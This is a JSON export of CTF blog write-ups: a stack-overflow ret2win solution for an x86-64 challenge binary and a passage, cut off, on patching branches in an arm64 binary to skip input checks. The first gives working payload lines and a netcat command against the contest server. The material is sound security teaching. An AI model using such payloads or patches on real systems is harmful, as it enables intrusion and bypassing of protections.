[{"content":" Event: RIFFHACK - Black Market Break-In · Category: Binary Exploitation · Difficulty: Easy\nDescription A Federation checkpoint AI loops the same authorization prompt while a damaged Chozo console hums behind it. Push past the guard and see what the access vault is hiding.\nBinary samus_stack_smash (ELF x86-64 — renamed to .txt for hosting)\nSolution Let\u0026rsquo;s start with the basics:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ┌──(s1nister㉿kali)-[~] └─$ file samus_stack_smash samus_stack_smash: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e23de7e27ae67bac3f1f58ed923d32bb1a08bbb9, for GNU/Linux 3.2.0, not stripped ┌──(s1nister㉿kali)-[~] └─$ checksec samus_stack_smash [*] \u0026#39;/home/s1nister/samus_stack_smash\u0026#39; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments SHSTK: Enabled IBT: Enabled Stripped: No Cool. This will be important for us later: PIE: No PIE. No source code though, so let\u0026rsquo;s jump into Ghidra.\nSymbols are present, so we get dropped right into the main function. In fact here are some other functions that might be of interest:\nLet\u0026rsquo;s take a look at main:\n1 2 3 4 5 6 7 8 undefined8 main(void) { setvbuf(stdout,(char *)0x0,2,0); vuln(); puts(\u0026#34;Signal lost.\u0026#34;); return 0; } Seems pretty small. Just a call to vuln(). This is what vuln contains:\n1 2 3 4 5 6 7 8 9 10 11 12 void vuln(void) { char local_28 [32]; puts(\u0026#34;== Galactic Federation Checkpoint ==\u0026#34;); puts(\u0026#34;Samus, state your authorization glyphs:\u0026#34;); printf(\u0026#34;\u0026gt; \u0026#34;); gets(local_28); printf(\u0026#34;Telemetry echo: %s\\n\u0026#34;,local_28); return; } Aha! It uses gets, which is a dangerous function since it allows reading an arbitrary amount of bytes. Which means it\u0026rsquo;s prone to buffer overflow.\nBut you\u0026rsquo;ll soon notice that there is no mention of a flag anywhere. Let\u0026rsquo;s keep going through the list of functions we got. What\u0026rsquo;s mission_clear?\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 void mission_clear(void) { char *pcVar1; char local_98 [136]; FILE *local_10; local_10 = fopen(\u0026#34;/flag.txt\u0026#34;,\u0026#34;r\u0026#34;); if (local_10 == (FILE *)0x0) { puts(\u0026#34;flag file missing. Contact an admin.\u0026#34;); /* WARNING: Subroutine does not return */ exit(1); } pcVar1 = fgets(local_98,0x80,local_10); if (pcVar1 == (char *)0x0) { puts(\u0026#34;Could not read the flag.\u0026#34;); fclose(local_10); /* WARNING: Subroutine does not return */ exit(1); } fclose(local_10); printf(\u0026#34;Mission complete! %s\u0026#34;,local_98); /* WARNING: Subroutine does not return */ exit(0); } Now that\u0026rsquo;s interesting. It seems to be the function that will actually print the flag and give us the answer. But who calls it? Where does mission_clear get called from?\nWe can right-click the function name and select References \u0026gt; Find References to mission_clear, and this is what we see:\nSo no one seems to be calling mission_clear. It seems like this function is unused at first glance. But then this is the function that gives us the flag. Well then how does this function even get called and how are we supposed to get the flag?\nAnswer: we have to forcefully call the function.\nHow do we do that?\nHere\u0026rsquo;s how:\nSomehow get access to the RIP (the register that points to the next instruction to be executed). Make RIP point to the address of mission_clear so that this function gets executed next and prints out the flag. (Buffer overflows might have something to do with this.)\nIf you\u0026rsquo;ve been doing CTFs for some time, this is a classic ret2win challenge.\nTHE MAIN IDEA: our goal is to replace the value of RIP (instruction pointer). It points to the next instruction to be executed, and therefore RIP should hold the address of mission_clear. The next instruction to be executed will then be the beginning of our mission_clear function, which in turn prints out the flag.\nAnd what address is mission_clear at? Let\u0026rsquo;s figure that out and keep it with us for later. Running info functions inside pwndbg should be enough.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 pwndbg\u0026gt; info functions All defined functions: Non-debugging symbols: 0x0000000000401000 _init 0x00000000004010b0 puts@plt 0x00000000004010c0 fclose@plt 0x00000000004010d0 printf@plt 0x00000000004010e0 fgets@plt 0x00000000004010f0 gets@plt 0x0000000000401100 setvbuf@plt 0x0000000000401110 fopen@plt 0x0000000000401120 exit@plt 0x0000000000401130 _start 0x0000000000401160 _dl_relocate_static_pie 0x0000000000401170 deregister_tm_clones 0x00000000004011a0 register_tm_clones 0x00000000004011e0 __do_global_dtors_aux 0x0000000000401210 frame_dummy 0x0000000000401216 mission_clear 0x00000000004012d8 vuln 0x0000000000401345 main 0x0000000000401388 _fini 1 0x0000000000401216 mission_clear Address of mission_clear: 0x0000000000401216. Keep this address with you. We\u0026rsquo;ll use it shortly.\nLet\u0026rsquo;s continue!\n💡 Tip Remember the checksec output we had before? Remember seeing No PIE?\nno-pie is a compiler/linker flag primarily used to disable the generation of Position Independent Executables (PIE). It serves as a prerequisite for ASLR, and no ASLR means that — in general — functions and variables always live at the same hex addresses.\nSo if we can find the address of mission_clear during our static analysis (using tools like Ghidra), we can be sure that the address will remain the same at runtime as well.\nSo how can we control RIP? Let\u0026rsquo;s explore the disassembly of vuln to figure it out. I\u0026rsquo;ll be using pwndbg. You can just use plain gdb as well.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 pwndbg\u0026gt; disas vuln Dump of assembler code for function vuln: 0x00000000004012d8 \u0026lt;+0\u0026gt;:\tendbr64 0x00000000004012dc \u0026lt;+4\u0026gt;:\tpush rbp 0x00000000004012dd \u0026lt;+5\u0026gt;:\tmov rbp,rsp 0x00000000004012e0 \u0026lt;+8\u0026gt;:\tsub rsp,0x20 0x00000000004012e4 \u0026lt;+12\u0026gt;:\tlea rax,[rip+0xd85] # 0x402070 0x00000000004012eb \u0026lt;+19\u0026gt;:\tmov rdi,rax 0x00000000004012ee \u0026lt;+22\u0026gt;:\tcall 0x4010b0 \u0026lt;puts@plt\u0026gt; 0x00000000004012f3 \u0026lt;+27\u0026gt;:\tlea rax,[rip+0xd9e] # 0x402098 0x00000000004012fa \u0026lt;+34\u0026gt;:\tmov rdi,rax 0x00000000004012fd \u0026lt;+37\u0026gt;:\tcall 0x4010b0 \u0026lt;puts@plt\u0026gt; 0x0000000000401302 \u0026lt;+42\u0026gt;:\tlea rax,[rip+0xdb7] # 0x4020c0 0x0000000000401309 \u0026lt;+49\u0026gt;:\tmov rdi,rax 0x000000000040130c \u0026lt;+52\u0026gt;:\tmov eax,0x0 0x0000000000401311 \u0026lt;+57\u0026gt;:\tcall 0x4010d0 \u0026lt;printf@plt\u0026gt; 0x0000000000401316 \u0026lt;+62\u0026gt;:\tlea rax,[rbp-0x20] 0x000000000040131a \u0026lt;+66\u0026gt;:\tmov rdi,rax 0x000000000040131d \u0026lt;+69\u0026gt;:\tmov eax,0x0 0x0000000000401322 \u0026lt;+74\u0026gt;:\tcall 0x4010f0 \u0026lt;gets@plt\u0026gt; 0x0000000000401327 \u0026lt;+79\u0026gt;:\tlea rax,[rbp-0x20] 0x000000000040132b \u0026lt;+83\u0026gt;:\tmov rsi,rax 0x000000000040132e \u0026lt;+86\u0026gt;:\tlea rax,[rip+0xd8e] # 0x4020c3 0x0000000000401335 \u0026lt;+93\u0026gt;:\tmov rdi,rax 0x0000000000401338 \u0026lt;+96\u0026gt;:\tmov eax,0x0 0x000000000040133d \u0026lt;+101\u0026gt;:\tcall 0x4010d0 \u0026lt;printf@plt\u0026gt; 0x0000000000401342 \u0026lt;+106\u0026gt;:\tnop 0x0000000000401343 \u0026lt;+107\u0026gt;:\tleave 0x0000000000401344 \u0026lt;+108\u0026gt;:\tret End of assembler dump. Let\u0026rsquo;s look near the end. What happens when this function ends?\n1 2 0x0000000000401343 \u0026lt;+107\u0026gt;:\tleave 0x0000000000401344 \u0026lt;+108\u0026gt;:\tret What do you think ret actually does under the hood?\n📝 Note In 64-bit mode (IA-32e mode), executing a plain ret is functionally equivalent to:\nPop from the stack into the instruction pointer register (RIP). Jump to the address stored in RIP. Let\u0026rsquo;s focus on the \u0026ldquo;pop from the stack\u0026rdquo; part. Pop from where in the stack? From the top of the stack, of course! What points to the top of the stack? The RSP register, of course!\nHence, if we can somehow take control of RSP, we essentially have control over RIP when the vuln function returns.\nOur next job, then, is to take control of RSP. Let\u0026rsquo;s look back at the decompiled vuln function:\n1 2 3 4 5 6 7 char local_28 [32]; puts(\u0026#34;== Galactic Federation Checkpoint ==\u0026#34;); puts(\u0026#34;Samus, state your authorization glyphs:\u0026#34;); printf(\u0026#34;\u0026gt; \u0026#34;); gets(local_28); printf(\u0026#34;Telemetry echo: %s\\n\u0026#34;,local_28); We read from input using gets and store it inside a buffer of size 32. But nothing is stopping us from typing more than 32 characters into the input, and that should overflow the buffer.\nIf we start the executable and type something larger than 32 characters, this is what happens:\n1 2 3 4 5 6 == Galactic Federation Checkpoint == Samus, state your authorization glyphs: \u0026gt; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. Let\u0026rsquo;s look at the registers:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ─────────────────────[ LAST SIGNAL ]───────────────────── Program received signal SIGSEGV (fault address: 0x0). ─────────────────────[ REGISTERS ]───────────────────── RAX 0x54 RBX 0 RCX 0 RDX 0 RDI 0x7fffffffda50 —▸ 0x7fffffffda80 ◂— \u0026#39;Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n\u0026#39; RSI 0x7fffffffda80 ◂— \u0026#39;Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n\u0026#39; R8 0x54 R9 0 R10 0 R11 0x202 R12 1 R13 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2f0 ◂— 0 R14 0x7fffffffdd88 —▸ 0x7fffffffe0e8 ◂— 0x5245545f5353454c (\u0026#39;LESS_TER\u0026#39;) R15 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011e0 (__do_global_dtors_aux) ◂— endbr64 RBP 0x4141414141414141 (\u0026#39;AAAAAAAA\u0026#39;) RSP 0x7fffffffdc58 ◂— \u0026#39;AAAAAAAAAAAAAAAAAAAAAAAAAAA\u0026#39; RIP 0x401344 (vuln+108) ◂— ret Focus on this bit right here:\n1 RSP 0x7fffffffdc58 ◂— \u0026#39;AAAAAAAAAAAAAAAAAAAAAAAAAAA\u0026#39; Nice! So by typing lots of characters into the input we managed to overflow the input buffer and we overflowed into RSP.\nWhy does it overflow into the RSP, you might ask. Or, what does our input have to do with writing into RSP? Well, local variables inside of functions are usually stored on the stack. So when you overflow the buffer, you\u0026rsquo;re effectively overflowing into other things that are also on the stack — which might also include the value at the top of the stack that RSP points to.\nYou can play around with more or fewer characters to see how that affects the registers, but let\u0026rsquo;s get back to business.\nTHE MAIN IDEA: find how many characters it takes to overflow right into the start of RSP. After that, write the address of mission_clear into RSP so that when RSP is popped into RIP, RIP will point to mission_clear — which would cause our target function to run and give us the flag!\nOur first task, then, is to find the number of characters after which we reach into RSP.\nLet\u0026rsquo;s create some inputs using cyclic in pwndbg:\n1 2 pwndbg\u0026gt; cyclic 100 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa That string will be our input. Let\u0026rsquo;s run our executable with it:\n1 2 3 4 5 6 7 8 9 10 11 pwndbg\u0026gt; run Starting program: /home/s1nister/binexp/samus_stack_smash Downloading separate debug info for system-supplied DSO at 0x7ffff7fc4000 [Thread debugging using libthread_db enabled] Using host libthread_db library \u0026#34;/usr/lib/x86_64-linux-gnu/libthread_db.so.1\u0026#34;. == Galactic Federation Checkpoint == Samus, state your authorization glyphs: \u0026gt; aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa Telemetry echo: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa Program received signal SIGSEGV, Segmentation fault. Look at the registers and RSP should show something like:\n1 2 RSP 0x7fffffffdc58 ◂— \u0026#39;faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\u0026#39; RIP 0x401344 (vuln+108) ◂— ret Take the first 8 characters (8 bytes) and then use cyclic -l \u0026lt;inp\u0026gt;:\n1 2 3 pwndbg\u0026gt; cyclic -l faaaaaaa Finding cyclic pattern of 8 bytes: b\u0026#39;faaaaaaa\u0026#39; (hex: 0x6661616161616161) Found at offset 40 This tells us that 40 A characters overflow to reach right at the start of RSP. After that, whatever you send goes into whatever location RSP points to. (BTW we\u0026rsquo;re not writing into RSP per se — RSP is just a register that holds the location of the top of the stack. We\u0026rsquo;re interested in what RSP points to, not RSP itself.)\nLet\u0026rsquo;s test this. The following is what we want to achieve:\n1 2 3 4 \u0026#39;A\u0026#39; * 40 + 0xdeadbeef Which is just: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0000deadbeef Other stuff | RSP | Here is our payload:\n1 python -c \u0026#39;import sys; sys.stdout.buffer.write(b\u0026#34;A\u0026#34;*40 + b\u0026#34;\\x00\\x00\\x00\\x00\\xde\\xad\\xbe\\xef\u0026#34;)\u0026#39; \u0026gt; payload Let\u0026rsquo;s pipe that into our program with run \u0026lt; payload:\n1 2 RSP 0x7fffffffdc58 ◂— 0xefbeadde00000000 RIP 0x401344 (vuln+108) ◂— ret Strange. RSP should show 0000deadbeef, right? Not really — this is a little-endian binary. Read more about endianness on Wikipedia.\nAll that means is we should pass in this instead:\n1 b\u0026#34;\\xef\\xbe\\xad\\xde\\x00\\x00\\x00\\x00\u0026#34; Let\u0026rsquo;s do that:\n1 python -c \u0026#39;import sys; sys.stdout.buffer.write(b\u0026#34;A\u0026#34;*40 + b\u0026#34;\\xef\\xbe\\xad\\xde\\x00\\x00\\x00\\x00\u0026#34;)\u0026#39; \u0026gt; payload And run it again:\n1 2 RSP 0x7fffffffdc60 —▸ 0x7fffffffdd00 ◂— 0 RIP 0xdeadbeef Would you look at that! Our 0xdeadbeef made it into RSP and was subsequently popped into RIP as well, so the next piece of code to be executed is at address 0xdeadbeef!\nAll we need to do right now is replace 0xdeadbeef with the address of mission_clear. In little-endian, of course. We can use 0x0000000000401216, or even something like 0x000000000040121a or 0x000000000040121b — use the disassembly below as a reference. It\u0026rsquo;s important that you play around with which address makes it work. Sometimes the first address might not work and some other addresses might fail because of bad characters in them. These things are left for the reader to experiment with. Read more about bad characters in exploit development.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 pwndbg\u0026gt; disas mission_clear Dump of assembler code for function mission_clear: 0x0000000000401216 \u0026lt;+0\u0026gt;:\tendbr64 0x000000000040121a \u0026lt;+4\u0026gt;:\tpush rbp 0x000000000040121b \u0026lt;+5\u0026gt;:\tmov rbp,rsp 0x000000000040121e \u0026lt;+8\u0026gt;:\tsub rsp,0x90 0x0000000000401225 \u0026lt;+15\u0026gt;:\tlea rax,[rip+0xddc] # 0x402008 0x000000000040122c \u0026lt;+22\u0026gt;:\tmov rsi,rax 0x000000000040122f \u0026lt;+25\u0026gt;:\tlea rax,[rip+0xdd4] # 0x40200a 0x0000000000401236 \u0026lt;+32\u0026gt;:\tmov rdi,rax 0x0000000000401239 \u0026lt;+35\u0026gt;:\tcall 0x401110 \u0026lt;fopen@plt\u0026gt; 0x000000000040123e \u0026lt;+40\u0026gt;:\tmov QWORD PTR [rbp-0x8],rax 0x0000000000401242 \u0026lt;+44\u0026gt;:\tcmp QWORD PTR [rbp-0x8],0x0 0x0000000000401247 \u0026lt;+49\u0026gt;:\tjne 0x401262 \u0026lt;mission_clear+76\u0026gt; 0x0000000000401249 \u0026lt;+51\u0026gt;:\tlea rax,[rip+0xdc8] # 0x402018 0x0000000000401250 \u0026lt;+58\u0026gt;:\tmov rdi,rax 0x0000000000401253 \u0026lt;+61\u0026gt;:\tcall 0x4010b0 \u0026lt;puts@plt\u0026gt; 0x0000000000401258 \u0026lt;+66\u0026gt;:\tmov edi,0x1 0x000000000040125d \u0026lt;+71\u0026gt;:\tcall 0x401120 \u0026lt;exit@plt\u0026gt; 0x0000000000401262 \u0026lt;+76\u0026gt;:\tmov rdx,QWORD PTR [rbp-0x8] 0x0000000000401266 \u0026lt;+80\u0026gt;:\tlea rax,[rbp-0x90] 0x000000000040126d \u0026lt;+87\u0026gt;:\tmov esi,0x80 0x0000000000401272 \u0026lt;+92\u0026gt;:\tmov rdi,rax 0x0000000000401275 \u0026lt;+95\u0026gt;:\tcall 0x4010e0 \u0026lt;fgets@plt\u0026gt; 0x000000000040127a \u0026lt;+100\u0026gt;:\ttest rax,rax 0x000000000040127d \u0026lt;+103\u0026gt;:\tjne 0x4012a4 \u0026lt;mission_clear+142\u0026gt; 0x000000000040127f \u0026lt;+105\u0026gt;:\tlea rax,[rip+0xdb7] # 0x40203d 0x0000000000401286 \u0026lt;+112\u0026gt;:\tmov rdi,rax 0x0000000000401289 \u0026lt;+115\u0026gt;:\tcall 0x4010b0 \u0026lt;puts@plt\u0026gt; 0x000000000040128e \u0026lt;+120\u0026gt;:\tmov rax,QWORD PTR [rbp-0x8] 0x0000000000401292 \u0026lt;+124\u0026gt;:\tmov rdi,rax 0x0000000000401295 \u0026lt;+127\u0026gt;:\tcall 0x4010c0 \u0026lt;fclose@plt\u0026gt; 0x000000000040129a \u0026lt;+132\u0026gt;:\tmov edi,0x1 0x000000000040129f \u0026lt;+137\u0026gt;:\tcall 0x401120 \u0026lt;exit@plt\u0026gt; 0x00000000004012a4 \u0026lt;+142\u0026gt;:\tmov rax,QWORD PTR [rbp-0x8] 0x00000000004012a8 \u0026lt;+146\u0026gt;:\tmov rdi,rax 0x00000000004012ab \u0026lt;+149\u0026gt;:\tcall 0x4010c0 \u0026lt;fclose@plt\u0026gt; 0x00000000004012b0 \u0026lt;+154\u0026gt;:\tlea rax,[rbp-0x90] 0x00000000004012b7 \u0026lt;+161\u0026gt;:\tmov rsi,rax 0x00000000004012ba \u0026lt;+164\u0026gt;:\tlea rax,[rip+0xd95] # 0x402056 0x00000000004012c1 \u0026lt;+171\u0026gt;:\tmov rdi,rax 0x00000000004012c4 \u0026lt;+174\u0026gt;:\tmov eax,0x0 0x00000000004012c9 \u0026lt;+179\u0026gt;:\tcall 0x4010d0 \u0026lt;printf@plt\u0026gt; 0x00000000004012ce \u0026lt;+184\u0026gt;:\tmov edi,0x0 0x00000000004012d3 \u0026lt;+189\u0026gt;:\tcall 0x401120 \u0026lt;exit@plt\u0026gt; End of assembler dump. Anyway, I\u0026rsquo;ll use 0x000000000040121b. In little-endian of course.\n1 python -c \u0026#39;import sys; sys.stdout.buffer.write(b\u0026#34;A\u0026#34;*40 + b\u0026#34;\\x1b\\x12\\x40\\x00\\x00\\x00\\x00\\x00\u0026#34;)\u0026#39; \u0026gt; payload 1 2 3 4 5 6 7 8 9 10 pwndbg\u0026gt; run \u0026lt; payload Starting program: /home/s1nister/binexp/samus_stack_smash \u0026lt; payload Downloading separate debug info for system-supplied DSO at 0x7ffff7fc4000 [Thread debugging using libthread_db enabled] Using host libthread_db library \u0026#34;/usr/lib/x86_64-linux-gnu/libthread_db.so.1\u0026#34;. == Galactic Federation Checkpoint == Samus, state your authorization glyphs: \u0026gt; Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA flag file missing. Contact an admin. [Inferior 1 (process 12779) exited with code 01] And with this payload our mission_clear actually executes. If we\u0026rsquo;d had a flag file, it would\u0026rsquo;ve printed the flag as well.\nHere\u0026rsquo;s what I used to solve it during the contest:\n1 2 3 4 5 (python3 -c \u0026#39;import sys; sys.stdout.buffer.write(b\u0026#34;A\u0026#34;*40 + b\u0026#34;\\x1b\\x12\\x40\\x00\\x00\\x00\\x00\\x00\\n\u0026#34;)\u0026#39;; cat) | nc 192.81.208.91 1337 == Galactic Federation Checkpoint == Samus, state your authorization glyphs: \u0026gt; Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Mission complete! bitctf{{m37r01d_57ack_0v3rrun}} You can make the solution fancier with pwntools and writing it all inside an exploit.py. Maybe we\u0026rsquo;ll do that next time :)\nThanks for reading!\n— s1nisteR\n","date":"2026-06-21T00:00:00Z","permalink":"/posts/samus-stack-smash/","title":"Samus Stack Smash"},{"content":" Event: RIFFHACK - Black Market Break-In · Category: Reverse Engineering · Difficulty: Easy\nDescription The docking console hides its handshake phrase in a runtime-built buffer behind one more computed alignment value. Use the lightest reversing path and recover both values.\nBinary orbital_docking_handshake (Mach-O arm64 — renamed to .txt for hosting)\nSolution 💡 Tip This problem is easier to do on an M-series Mac.\nLet\u0026rsquo;s do the basic stuff first on Kali:\n1 2 3 4 5 6 7 ┌──(s1nister㉿kali)-[~] └─$ file orbital_docking_handshake orbital_docking_handshake: Mach-O 64-bit arm64 executable, flags:\u0026lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE\u0026gt; ┌──(s1nister㉿kali)-[~] └─$ checksec orbital_docking_handshake orbital_docking_handshake: Magic number does not match After seeing this I switched over to my Mac to do the rest.\nLet\u0026rsquo;s get our executable to execute first!\n1 2 3 4 5 sudo chmod +x orbital_docking_handshake Password: ./orbital_docking_handshake zsh: killed ./orbital_docking_handshake Oops! Classic Mac. Let\u0026rsquo;s fix this real quick.\nGo to Settings \u0026gt; Privacy \u0026amp; Security \u0026gt; Security section and press Allow Anyway:\nRelaunch the program and press Open Anyway again:\n1 2 3 4 5 6 7 ❯ ./orbital_docking_handshake Orbital Docking Handshake Trace the handshake routine, recover the correct phrase, and align the approach window. Hint for analysts: the shortest path is still the cleanest one. Docking phrase: 12345 Alignment window: 696969 Handshake rejected. Docking denied. Alright, that\u0026rsquo;s enough fiddling with the binary. Let\u0026rsquo;s switch over to Ghidra.\n💡 Tip The problem description says \u0026ldquo;Use the lightest reversing path and recover both values\u0026rdquo;. So I\u0026rsquo;ll use a very dumb solution here. Spoiler alert: we\u0026rsquo;re patching the binary lmao.\nHere\u0026rsquo;s what Ghidra\u0026rsquo;s decompiler shows:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 undefined4 entry(void) { uint uVar1; int iVar2; int iVar3; int iVar4; char *pcVar5; size_t sVar6; ulong uVar7; undefined4 local_8c; char acStack_85 [32]; undefined1 auStack_65 [13]; char acStack_58 [64]; long local_18; local_18 = *(long *)PTR____stack_chk_guard_100004000; _puts(\u0026#34;Orbital Docking Handshake\u0026#34;); _puts(\u0026#34;Trace the handshake routine, recover the correct phrase, and align the approach window.\u0026#34;); _puts(\u0026#34;Hint for analysts: the shortest path is still the cleanest one.\u0026#34;); _printf(\u0026#34;Docking phrase: \u0026#34;); _fflush(*(FILE **)PTR____stdoutp_100004018); pcVar5 = _fgets(acStack_58,0x40,*(FILE **)PTR____stdinp_100004028); if (pcVar5 == (char *)0x0) { uVar1 = _puts(\u0026#34;No phrase supplied.\u0026#34;); uVar7 = (ulong)uVar1; local_8c = 1; } else { sVar6 = _strcspn(acStack_58,\u0026#34;\\n\u0026#34;); acStack_58[sVar6] = \u0026#39;\\0\u0026#39;; _printf(\u0026#34;Alignment window: \u0026#34;); _fflush(*(FILE **)PTR____stdoutp_100004018); pcVar5 = _fgets(acStack_85,0x20,*(FILE **)PTR____stdinp_100004028); if (pcVar5 == (char *)0x0) { uVar1 = _puts(\u0026#34;No alignment window supplied.\u0026#34;); uVar7 = (ulong)uVar1; local_8c = 1; } else { _build_expected_phrase(); iVar2 = _compute_grid_offset(auStack_65); iVar3 = _atoi(acStack_85); iVar4 = _compare_identity(acStack_58,auStack_65); if (iVar4 == 0) { uVar1 = _puts(\u0026#34;Handshake rejected. Docking denied.\u0026#34;); uVar7 = (ulong)uVar1; local_8c = 1; } else if (iVar3 == iVar2) { uVar7 = _print_flag(0,auStack_65,iVar2); local_8c = 0; } else { uVar1 = _puts(\u0026#34;Alignment window rejected.\u0026#34;); uVar7 = (ulong)uVar1; local_8c = 1; } } } if (*(long *)PTR____stack_chk_guard_100004000 - local_18 != 0) { /* WARNING: Subroutine does not return */ ___stack_chk_fail(*(long *)PTR____stack_chk_guard_100004000 - local_18,uVar7); } return local_8c; } Now we could spend some time looking into what _compute_grid_offset or _compare_identity does. For example here\u0026rsquo;s what they look like:\n1 2 3 4 5 6 7 8 9 10 11 12 int _compute_grid_offset(long param_1) { undefined8 local_18; undefined4 local_c; local_c = 0; for (local_18 = 0; *(char *)(param_1 + local_18) != \u0026#39;\\0\u0026#39;; local_18 = local_18 + 1) { local_c = local_c + (uint)*(byte *)(param_1 + local_18) * ((int)local_18 + 3); } return local_c % 1000 + 200; } 1 2 3 4 5 6 7 8 bool _compare_identity(char *param_1,char *param_2) { int iVar1; iVar1 = _strcmp(param_1,param_2); return iVar1 == 0; } But do we really need to? Let\u0026rsquo;s do this the dumb way.\nLook at this bit of code:\n1 2 3 4 else if (iVar3 == iVar2) { uVar7 = _print_flag(0,auStack_65,iVar2); local_8c = 0; } That\u0026rsquo;s it! If we can somehow make the program reach here, it might just print out the flag. So let\u0026rsquo;s try to make the program reach here. Forcefully.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 else { _build_expected_phrase(); iVar2 = _compute_grid_offset(auStack_65); iVar3 = _atoi(acStack_85); iVar4 = _compare_identity(acStack_58,auStack_65); if (iVar4 == 0) { uVar1 = _puts(\u0026#34;Handshake rejected. Docking denied.\u0026#34;); uVar7 = (ulong)uVar1; local_8c = 1; } else if (iVar3 == iVar2) { uVar7 = _print_flag(0,auStack_65,iVar2); local_8c = 0; } else { uVar1 = _puts(\u0026#34;Alignment window rejected.\u0026#34;); uVar7 = (ulong)uVar1; local_8c = 1; } } The outer if statement just checks whether we have some inputs or not. So control will naturally fall into this else block once we type something in.\nSo let\u0026rsquo;s invert the condition for if (iVar4 == 0). If we run our program and type something, it fails with Handshake rejected. Docking denied., so it\u0026rsquo;s in our best interest to take control flow to the else if where the actual print_flag is called, instead of just sitting in the if block.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 LAB_1000005bc XREF[1]: 10000059c(j) 1000005bc e0 2f 01 91 add x0,sp,#0x4b 1000005c0 e0 07 00 f9 str x0,[sp, #local_a8] 1000005c4 30 00 00 94 bl _build_expected_phrase undefined _build_expected_phrase() 1000005c8 e0 07 40 f9 ldr x0,[sp, #local_a8] 1000005cc 4e 00 00 94 bl _compute_grid_offset undefined _compute_grid_offset() 1000005d0 e0 1f 00 b9 str w0,[sp, #local_94] 1000005d4 e0 af 00 91 add x0,sp,#0x2b 1000005d8 ce 00 00 94 bl _atoi int _atoi(char * param_1) 1000005dc e1 07 40 f9 ldr x1,[sp, #local_a8] 1000005e0 e0 23 00 b9 str w0,[sp, #local_90] 1000005e4 a0 23 01 d1 sub x0,x29,#0x48 1000005e8 67 00 00 94 bl _compare_identity undefined _compare_identity() 1000005ec 00 01 00 35 cbnz w0,LAB_10000060c 1000005f0 01 00 00 14 b LAB_1000005f4 1000005ec 00 01 00 35 cbnz w0,LAB_10000060c is our point of interest. This is where the if statement compiles down to an actual conditional jump.\nThis is ARM assembly btw, not x86_64. And this is what cbnz / cbz mean.\n📝 Note CBZ and CBNZ — Compare and Branch on Zero / Compare and Branch on Non-Zero.\nSyntax\n1 2 CBZ Rn, label CBNZ Rn, label where Rn is the register holding the operand and label is the branch destination.\nSo right-click on that instruction and click on Patch Instruction:\nAnd change the cbnz to a cbz:\nNow check where the print_flag function went:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 else { _build_expected_phrase(); iVar2 = _compute_grid_offset(auStack_65); iVar3 = _atoi(acStack_85); iVar4 = _compare_identity(acStack_58,auStack_65); if (iVar4 == 0) { if (iVar3 == iVar2) { uVar7 = _print_flag(0,auStack_65,iVar2); local_8c = 0; } else { uVar1 = _puts(\u0026#34;Alignment window rejected.\u0026#34;); uVar7 = (ulong)uVar1; local_8c = 1; } } else { uVar1 = _puts(\u0026#34;Handshake rejected. Docking denied.\u0026#34;); uVar7 = (ulong)uVar1; local_8c = 1; } } Alright. Now time to focus on the if (iVar3 == iVar2). Let\u0026rsquo;s just invert that check so that it almost always executes, instead of executing only when both are equal. (a.k.a. we\u0026rsquo;re reverting the behavior of the program such that when all checks fail, it prints out the flag, instead of printing the flag only when all checks succeed.)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 LAB_10000060c XREF[1]: 1000005ec(j) 10000060c e8 23 40 b9 ldr w8,[sp, #local_90] 100000610 e9 1f 40 b9 ldr w9,[sp, #local_94] 100000614 08 01 09 6b subs w8,w8,w9 100000618 00 01 00 54 b.eq LAB_100000638 10000061c 01 00 00 14 b LAB_100000620 LAB_100000620 